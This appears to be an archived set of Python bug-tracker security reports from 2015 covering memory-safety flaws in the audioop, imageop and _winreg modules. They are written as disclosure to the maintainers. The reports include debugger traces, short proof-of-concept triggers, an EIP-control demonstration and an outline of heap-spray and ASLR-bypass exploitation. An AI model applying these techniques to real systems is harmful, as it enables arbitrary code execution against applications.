Because the index variable can be controlled via the third parameter of 
audioop.adpcm2lin, this behavior could potentially be exploited to disclose 
arbitrary memory, should an application expose the parameter to the attack 
surface.

0:000> r
eax=01f13474 ebx= ecx=0002 edx=01f13460 esi=01f13460 edi=0001
eip=1e01c4f0 esp=0027fcdc ebp=7e86ecdd iopl=0 nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b efl=00010202
python27!audioop_adpcm2lin+0xe0:
1e01c4f0 8b04adb0dd1f1e  mov eax,dword ptr python27!stepsizeTable 
(1e1fddb0)[ebp*4] ss:002b:183b9124=
0:000> k
ChildEBP RetAddr
0027fd18 1e0aafd7 python27!audioop_adpcm2lin+0xe0
0027fd30 1e0edd10 python27!PyCFunction_Call+0x47
0027fd5c 1e0f017a python27!call_function+0x2b0
0027fdcc 1e0f1150 python27!PyEval_EvalFrameEx+0x239a
0027fe00 1e0f11b2 python27!PyEval_EvalCodeEx+0x690
0027fe2c 1e11707a python27!PyEval_EvalCode+0x22
0027fe44 1e1181c5 python27!run_mod+0x2a
0027fe64 1e118760 python27!PyRun_FileExFlags+0x75
0027fea4 1e1190d9 python27!PyRun_SimpleFileExFlags+0x190
0027fec0 1e038d35 python27!PyRun_AnyFileExFlags+0x59
0027ff3c 1d00116d python27!Py_Main+0x965
0027ff80 76477c04 python!__tmainCRTStartup+0x10f
0027ff94 7799ad1f KERNEL32!BaseThreadInitThunk+0x24
0027ffdc 7799acea ntdll!__RtlUserThreadStart+0x2f
0027ffec  ntdll!_RtlUserThreadStart+0x1b
0:000>

To fix this issue, it is recommended that bounds checking be performed prior to 
accessing stepsizeTable.

--
files: audioop.adpcm2lin_buffer_over-read.py
messages: 245407
nosy: JohnLeitch
priority: normal
severity: normal
status: open
title: audioop.adpcm2lin Buffer Over-read
type: security
versions: Python 2.7
Added file: 
http://bugs.python.org/file39712/audioop.adpcm2lin_buffer_over-read.py

___
Python tracker 
<http://bugs.python.org/issue24456>
___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue24264] imageop Unsafe Arithmetic

2015-05-22 Thread JohnLeitch

New submission from JohnLeitch:

Several functions within the imageop module are vulnerable to exploitable 
buffer overflows due to unsafe arithmetic in check_multiply_size(). The problem 
exists because the check to confirm that size == product / y / x does not take 
remainders into account.

static int
check_multiply_size(int product, int x, const char* xname, int y, const char* 
yname, int size)
{
if ( !check_coordonnate(x, xname) )
return 0;
if ( !check_coordonnate(y, yname) )
return 0;
if ( size == (product / y) / x )
return 1;
PyErr_SetString(ImageopError, "String has incorrect length");
return 0;
}

Consider a call to check_multiply_size() where product is 16, x is 1, and y is 
9. In the Windows x86 release of Python 2.7.9, the division is performed using 
the idiv instruction:

0:000> dV
product = 0n16
  x = 0n1
  xname = 0x1e1205a4 "x"
  y = 0n9
  yname = 0x1e127ab8 "y"
   size = 0n1
0:000> u eip
python27!check_multiply_size+0x25 [c:\build27\cpython\modules\imageop.c @ 53]:
1e0330e5 f7ffidiveax,edi
1e0330e7 99  cdq
1e0330e8 f7feidiveax,esi
1e0330ea 3944240ccmp dword ptr [esp+0Ch],eax
1e0330ee 7506jne python27!check_multiply_size+0x36 (1e0330f6)
1e0330f0 b80100  mov eax,1
1e0330f5 c3  ret
1e0330f6 8b15e47e241emov edx,dword ptr [python27!ImageopError 
(1e247ee4)]
0:000> ?eax
Evaluate expression: 16 = 0010
0:000> ?edi
Evaluate expression: 9 = 0009

When the first idiv instruction is executed, the result (eax) is 1 with a 
remainder of 7 (edx):

0:000> p
eax=0001 ebx= ecx=1e127ab8 edx=0007 esi=0001 edi=0009
eip=1e0330e7 esp=0027fcec ebp=0001 iopl=0 nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b efl=0202
python27!check_multiply_size+0x27:
1e0330e7 99  cdq
0:000> ?eax
Evaluate expression: 1 = 0001
0:000> ?edx
Evaluate expression: 7 = 0007

Because size is 1, the check passes:

Breakpoint 4 hit
eax=0001 ebx= ecx=1e127ab8 edx= esi=0001 edi=0009
eip=1e0330f0 esp=0027fcec ebp=0001 iopl=0 nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b efl=0246
python27!check_multiply_size+0x30:
1e0330f0 b80100  mov eax,1

This is problematic because some of the imageop functions, such as grey2rgb, 
utilize check_multiply_size() to check divisibility prior to copying data into 
a buffer. Consider a call to grey2rgb where x is 1, y is 9, and len is 16.

static PyObject *
imageop_grey2rgb(PyObject *self, PyObject *args)
{
int x, y, len, nlen; <<<<<<<< x = 1, y = 9, and len = 16.
unsigned char *cp;
unsigned char *ncp;
PyObject *rv;
int i;
unsigned char value;
int backward_compatible = imageop_backward_compatible();

if ( !PyArg_ParseTuple(args, "s#ii", &cp, &len, &x, &y) )
return 0;

if ( !check_multiply(len, x, y) ) <<<<<<<< 16 != 1 * 9, but this check 
still passes.
return 0;
nlen = x*y*4; <<<<<<<< 1 * 9 * 4 == 36.
if ( !check_multiply_size(nlen, x, "x", y, "y", 4) )
return 0;

rv = PyString_FromStringAndSize(NULL, nlen); <<<<<<<< This creates a buffer 
of length 36.
if ( rv == 0 )
return 0;
ncp = (unsigned char *)PyString_AsString(rv); <<<<<<<< This retrieves the 
buffer of length 36.

for ( i=0; i < len; i++ ) { <<<<<<<< This loop assumes that len * 4 == 
nlen, which is incorrect
 in this case.
value = *cp++;
if (backward_compatible) {
 Each iteration copies 4 bytes into the 36 byte buffer 
pointed to by ncp and 
 advances the pointer by 4. Because len is 16, 64 bytes are 
ultimately copied
 into the buffer, leading to an exploitable buffer overflow 
condition.
* (Py_UInt32 *) ncp = (Py_UInt32) value | ((Py_UInt32) value << 8 ) 
| ((Py_UInt32) value << 16);
ncp += 4;
} else {
*ncp++ = 0;
*ncp++ = value;
*ncp++ = value;
*ncp++ = value;
}
}
return rv;
}

When the call completes, memory has been corrupted:

0:000> g
(12f4.640): Access violation - code c005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0044 ebx=0001 ecx=1e201d98 edx=00303030 esi=1e201d98 edi=1e201d98
eip=1e031fc6 esp=0027fe7c ebp=0002 iopl=0 nv up ei ng nz ac pe cy
cs=0023  ss=002b  ds=002b  es=00

[issue24201] _winreg PyHKEY Type Confusion

2015-05-16 Thread JohnLeitch

JohnLeitch added the comment:

Thank you again for the explanation of the internals at play here. Armed with 
the knowledge you provided, I conducted further experimentation, and I believe 
I can now demonstrate how EIP control is possible with this bug. Note that RPC 
initialization is not necessary, thus lowering the barrier to entry.

First, it is possible to satisfy both magic number checks using a single 
buffer, and the predicted address of said buffer. This can be simulated with 
the following script:

import _winreg
test = 
"\x98\xba\xdc\xfe\xEF\xCD\xAB\x89"
_winreg.QueryValueEx(0x41414141, 'test')

A breakpoint is set at the first magic number check to give us an opportunity 
to patch up our buffer with the "predicted" addresses.

Breakpoint 0 hit
eax=41414140 ebx=0027fc2c ecx= edx= esi=753a3584 edi=
eip=75469af3 esp=0027f79c ebp=0027f7c8 iopl=0 nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b efl=0246
RPCRT4!NDRCContextBinding+0x13:
75469af3 81780498badcfe  cmp dword ptr [eax+4],0FEDCBA98h ds:002b:41414144=?
???
0:000> s -b 0x0 L?0x7fff 41 41 41 41 98 ba dc fe
01ccc37c  41 41 41 41 98 ba dc fe-43 43 43 43 ef cd ab 89  
0:000> r @eax=0x01ccc37c
0:000> ed eax eax+0x8
0:000> ed eax+0x8 eax+0xc
0:000> dc eax
01ccc37c  01ccc384 fedcba98 01ccc388 89abcdef  
01ccc38c  45454545 46464646 47474747 48484848  
01ccc39c  49494949 4a4a4a4a 4b4b4b4b 4c4c4c4c  
01ccc3ac  4d4d4d4d 4e4e4e4e 4f4f4f4f 50505050  
01ccc3bc  51515151 41414141 01ccab00 01cbe048  H...
01ccc3cc  01cbe070 01ccabe0 01cbe098 01cbe0c0  p...
01ccc3dc  baadf000 01ccc548 1e228bf8 0062  H.".b...
01ccc3ec    72747320 6c6c6f63   strcoll
0:000> r
eax=01ccc37c ebx=0027fc2c ecx= edx= esi=753a3584 edi=
eip=75469af3 esp=0027f79c ebp=0027f7c8 iopl=0 nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b efl=0246
RPCRT4!NDRCContextBinding+0x13:
75469af3 81780498badcfe  cmp dword ptr [eax+4],0FEDCBA98h ds:002b:01ccc380=f
edcba98

While we patched up the buffer with two addresses, this is still viable through 
heap spraying because the second address is relative to the first. Continuing 
execution, we hit our second magic number check:

0:000> g
Breakpoint 2 hit
eax=e7fafcfb ebx=0027f7f8 ecx=009c edx=0001 esi=01ccc384 edi=01ccc384
eip=75472451 esp=0027f7ac ebp=0027f7c0 iopl=0 nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b efl=0206
RPCRT4!I_RpcGetBufferWithObject+0x21:
75472451 817e04efcdab89  cmp dword ptr [esi+4],89ABCDEFh ds:002b:01ccc388=89
abcdef
0:000> dc esi+4
01ccc388  89abcdef 45454545 46464646 47474747  
01ccc398  48484848 49494949 4a4a4a4a 4b4b4b4b  
01ccc3a8  4c4c4c4c 4d4d4d4d 4e4e4e4e 4f4f4f4f  
01ccc3b8  50505050 51515151 41414141 01ccab00  
01ccc3c8  01cbe048 01cbe070 01ccabe0 01cbe098  H...p...
01ccc3d8  01cbe0c0 baadf000 01ccc548 1e228bf8  H.".
01ccc3e8  0062   72747320  b... str
01ccc3f8  6c6c6f63 72747328 2c676e69 69727473  coll(string,stri

All is well. When execution is continued, we achieve EIP control:

0:000> g
(10d8.15a8): Access violation - code c005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=41414141 ebx=0027f7f8 ecx=01ccc384 edx=0001 esi=01ccc384 edi=0040
eip=41414141 esp=0027f79c ebp=0027f7c0 iopl=0 nv up ei ng nz na pe cy
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b efl=00010287
41414141 ??  ???

Apologies for the messy memory editing; there's probably a more Pythonic way of 
patching the buffer. And, of course, I believe it to be possible to achieve 
this via heap spraying, without any patching at all. Given this, I think 
exploitation in the real world is possible with two primitives: heap spraying 
and hkey value control. A web application, for example, might offer an attacker 
both of these primitives, while at the same time reasonably expecting arbitrary 
code execution to be prohibited.

--

___
Python tracker 
<http://bugs.python.org/issue24201>
___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue24201] _winreg PyHKEY Type Confusion

2015-05-15 Thread JohnLeitch

JohnLeitch added the comment:

Thank you for taking the time to peruse my report and explain the behavior I 
observed. My understanding of Windows RPC internals is lacking, and perhaps I 
jumped the gun upon catching an AV while fuzzing.

That said, after poking around to better understand the matter, I discovered a 
few things:

1) There are code paths where it is possible to trigger an unhandled access 
violation:

0:000> g
(11a0.d54): Access violation - code c005 (!!! second chance !!!)
eax=60dad396 ebx= ecx= edx= esi=00a0 edi=00a0
eip=776f1037 esp=0027f790 ebp=0027f80c iopl=0 nv up ei pl nz ac pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b efl=00010216
ntdll!RtlAllocateHeap+0x17:
776f1037 8b4344  mov eax,dword ptr [ebx+44h] ds:002b:0044=??
??
0:000> k
ChildEBP RetAddr
0027f80c 75471731 ntdll!RtlAllocateHeap+0x17
0027f82c 75479616 RPCRT4!AllocWrapper+0x2d
0027f840 75479791 RPCRT4!ThreadSelfHelper+0x16
0027f848 754f6b2a RPCRT4!ThreadSelf+0x18
0027fc74 753a5d94 RPCRT4!NdrClientCall2+0x13a
0027fc8c 7539f48b ADVAPI32!BaseRegGetVersion+0x24
0027fce4 7538dfce ADVAPI32!RegDeleteKeyW+0x14aeb
0027fd00 1e0de533 ADVAPI32!RegDeleteKeyA+0x2e
0027fd18 1e0aafd7 python27!PyDeleteKey+0x53
0027fd30 1e0edd10 python27!PyCFunction_Call+0x47
0027fd5c 1e0f017a python27!call_function+0x2b0
0027fdcc 1e0f1150 python27!PyEval_EvalFrameEx+0x239a
0027fe00 1e0f11b2 python27!PyEval_EvalCodeEx+0x690
0027fe2c 1e11707a python27!PyEval_EvalCode+0x22
0027fe44 1e1181c5 python27!run_mod+0x2a
0027fe64 1e118760 python27!PyRun_FileExFlags+0x75
0027fea4 1e1190d9 python27!PyRun_SimpleFileExFlags+0x190
0027fec0 1e038d35 python27!PyRun_AnyFileExFlags+0x59
0027ff3c 1d00116d python27!Py_Main+0x965
0027ff80 75967c04 python!__tmainCRTStartup+0x10f
0027ff94 7770ad1f KERNEL32!BaseThreadInitThunk+0x24
0027ffdc 7770acea ntdll!__RtlUserThreadStart+0x2f
0027ffec  ntdll!_RtlUserThreadStart+0x1b
0:000>

This doesn't appear to be outright exploitable for anything beyond DoS, but it 
does crash the process.

2) Assuming attacker control of the hkey parameter to a _winreg call, I believe 
it would be possible to leverage the RPC signature check to disclose the 
location of valid memory such as the RPC module itself, thereby bypassing ASLR.

>>> import _winreg
>>> _winreg.DeleteKey(0x75469AF1, '')

Traceback (most recent call last):
  File "", line 1, in 
_winreg.DeleteKey(0x75469AF1, '')
WindowsError: [Error 6] The handle is invalid
>>> _winreg.DeleteKey(0x75469AF3, '')

>>>  RESTART 
>>> 

0:000> dd 0x75469AF3
75469af3  98047881 0ffedcba 01d9a085 fc45c700
75469b03  fffe 8fe8008b c2a2 9094
75469b13  90909090 fe90 00ff d400
75469b23  00ff fe00 49d901ff 49d92575
75469b33  06f76875 b2e8 8b000161 47c7e845
75469b43  003c 50478900 00a661e9 09be0f00
75469b53  00a649e9 06f76800 8ee8 68000161
75469b63  06e6 016184e8 90909000 499e5190
0:000> !address 0x75469AF3


Usage:  Image
Base Address:   75451000
End Address:754fa000
Region Size:000a9000
State:  1000MEM_COMMIT
Protect:0020PAGE_EXECUTE_READ
Type:   0100MEM_IMAGE
Allocation Base:7545
Allocation Protect: 0080PAGE_EXECUTE_WRITECOPY
Image Path: C:\WINDOWS\SysWOW64\RPCRT4.dll
Module Name:RPCRT4
Loaded Image Name:  C:\WINDOWS\SYSTEM32\RPCRT4.dll
Mapped Image Name:
More info:  lmv m RPCRT4
More info:  !lmi RPCRT4
More info:  ln 0x75469af3
More info:  !dh 0x7545

3) Finally, I still suspect it may be possible to achieve memory corruption 
with this bug, but cannot verify without a better understanding of the 
structures at play and further analysis. The hypothetical attack goes like this:

a) The attacker sprays memory with carefully constructed buffers containing the 
expected magic numbers at the correct offsets.

b) Once memory has been sufficiently sprayed, the attacker triggers the bug 
with an hkey value that is actually an address predicted to be one of the 
sprayed structures.

c) While working with the attacker controlled buffer, RPC inadvertently 
corrupts memory.

Step C is, of course, dependent on what what fields are available in the 
structure, and what RPC does with them. Unfortunately I can't find any relevant 
documentation or code, but in my testing I was able to force different code 
paths. Some look fruitful, but determining whether they're reachable would be 
costly time-wise, and it's a bit of a moot point because we're talking about 
Microsoft's internal implementation, which could change at any point, altering 
exploit

[issue24201] _winreg PyHKEY Type Confusion

2015-05-15 Thread JohnLeitch

New submission from JohnLeitch:

The Python _winreg module suffers from a type confusion vulnerability wherein 
pointers can be passed directly in place of PyHKEY instances e.g. 
_winreg.QueryValue(0x41414141, "")

This behavior is due to the underlying PyHKEY_AsHKEY function of _winreg.c:

BOOL
PyHKEY_AsHKEY(PyObject *ob, HKEY *pHANDLE, BOOL bNoneOK)
{
if (ob == Py_None) {
if (!bNoneOK) {
PyErr_SetString(
  PyExc_TypeError,
  "None is not a valid HKEY in this context");
return FALSE;
}
*pHANDLE = (HKEY)0;
}
else if (PyHKEY_Check(ob)) {
PyHKEYObject *pH = (PyHKEYObject *)ob;
*pHANDLE = pH->hkey;
}
else if (PyInt_Check(ob) || PyLong_Check(ob)) { <<<<<< if ob is an 
int/long, this path is taken.
/* We also support integers */
PyErr_Clear();
*pHANDLE = (HKEY)PyLong_AsVoidPtr(ob); <<<<<< ob is casted to a void* 
here
if (PyErr_Occurred())
return FALSE;
}
else {
PyErr_SetString(
PyExc_TypeError,
"The object is not a PyHKEY object");
return FALSE;
}
return TRUE;
}

When *ob is an integer or long, the function casts it to a void*. This behavior 
can be triggered using many of the _winreg functions, such as QueryValue, 
QueryValueEx, EnumValue, etc. 

0:000> r
eax=41414140 ebx=0027fbc8 ecx= edx= esi=770e351e edi=
eip=74bf9af3 esp=0027f738 ebp=0027f764 iopl=0 nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b efl=00010246
RPCRT4!NDRCContextBinding+0x13:
74bf9af3 81780498badcfe  cmp dword ptr [eax+4],0FEDCBA98h 
ds:002b:41414144=
0:000> k
ChildEBP RetAddr  
0027f764 74c0390c RPCRT4!NDRCContextBinding+0x13
0027f774 74c86dce RPCRT4!ExplicitBindHandleMgr+0x33
0027fba8 770e625c RPCRT4!NdrClientCall2+0x2ea
0027fbc0 771041e2 ADVAPI32!SafeBaseRegQueryInfoKey+0x24
0027fc04 76eacdca ADVAPI32!RemoteRegQueryInfoKeyWrapper+0x42
0027fcbc 1e0de85c KERNELBASE!LocalOpenPerformanceText+0x1c60
0027fd14 1e0ac6fc python27!PyEnumValue+0x6c [c:\build27\cpython\pc\_winreg.c @ 
1213]
0027fd58 1e0efabf python27!_PyObject_GenericGetAttrWithDict+0x12c 
[c:\build27\cpython\objects\object.c @ 1428]
0027fde8 1e0f27eb python27!PyEval_EvalFrameEx+0x1cdf 
[c:\build27\cpython\python\ceval.c @ 2269]
0027fe00 1e0f11b2 python27!compiler_free+0x3b 
[c:\build27\cpython\python\compile.c @ 322]
0027fe2c 1e11707a python27!PyEval_EvalCode+0x22 
[c:\build27\cpython\python\ceval.c @ 672]
0027fe44 1e1181c5 python27!run_mod+0x2a [c:\build27\cpython\python\pythonrun.c 
@ 1371]
0027fe64 1e118760 python27!PyRun_FileExFlags+0x75 
[c:\build27\cpython\python\pythonrun.c @ 1358]
0027fea4 1e1190d9 python27!PyRun_SimpleFileExFlags+0x190 
[c:\build27\cpython\python\pythonrun.c @ 950]
0027fec0 1e038d35 python27!PyRun_AnyFileExFlags+0x59 
[c:\build27\cpython\python\pythonrun.c @ 753]
0027ff3c 1d00116d python27!Py_Main+0x965 [c:\build27\cpython\modules\main.c @ 
643]
0027ff80 74d57c04 python!__tmainCRTStartup+0x10f 
[f:\dd\vctools\crt_bld\self_x86\crt\src\crtexe.c @ 586]
0027ff94 7741ad1f KERNEL32!BaseThreadInitThunk+0x24
0027ffdc 7741acea ntdll!__RtlUserThreadStart+0x2f
0027ffec  ntdll!_RtlUserThreadStart+0x1b
0:000> !analyze -v
***
* *
*Exception Analysis   *
* *
***


FAULTING_IP: 
RPCRT4!NDRCContextBinding+13
74bf9af3 81780498badcfe  cmp dword ptr [eax+4],0FEDCBA98h

EXCEPTION_RECORD:   -- (.exr 0x)
ExceptionAddress: 74bf9af3 (RPCRT4!NDRCContextBinding+0x0013)
   ExceptionCode: c005 (Access violation)
  ExceptionFlags: 
NumberParameters: 2
   Parameter[0]: 
   Parameter[1]: 41414144
Attempt to read from address 41414144

CONTEXT:   -- (.cxr 0x0;r)
eax=41414140 ebx=0027fbc8 ecx= edx= esi=770e351e edi=
eip=74bf9af3 esp=0027f738 ebp=0027f764 iopl=0 nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b efl=00010246
RPCRT4!NDRCContextBinding+0x13:
74bf9af3 81780498badcfe  cmp dword ptr [eax+4],0FEDCBA98h 
ds:002b:41414144=

FAULTING_THREAD:  0274

DEFAULT_BUCKET_ID:  INVALID_POINTER_READ

PROCESS_NAME:  python.exe

ERROR_CODE: (NTSTATUS) 0xc005 - The instruction at 0x%08lx referenced 
memory at 0x%08lx. The memory could not be %s.

EXCEPTION_CODE: (NTSTATUS) 0xc005 - The instruction at 0x%08lx referenced 
memory at 0x%08lx. The memory could not be %s.

EXCEPTION_P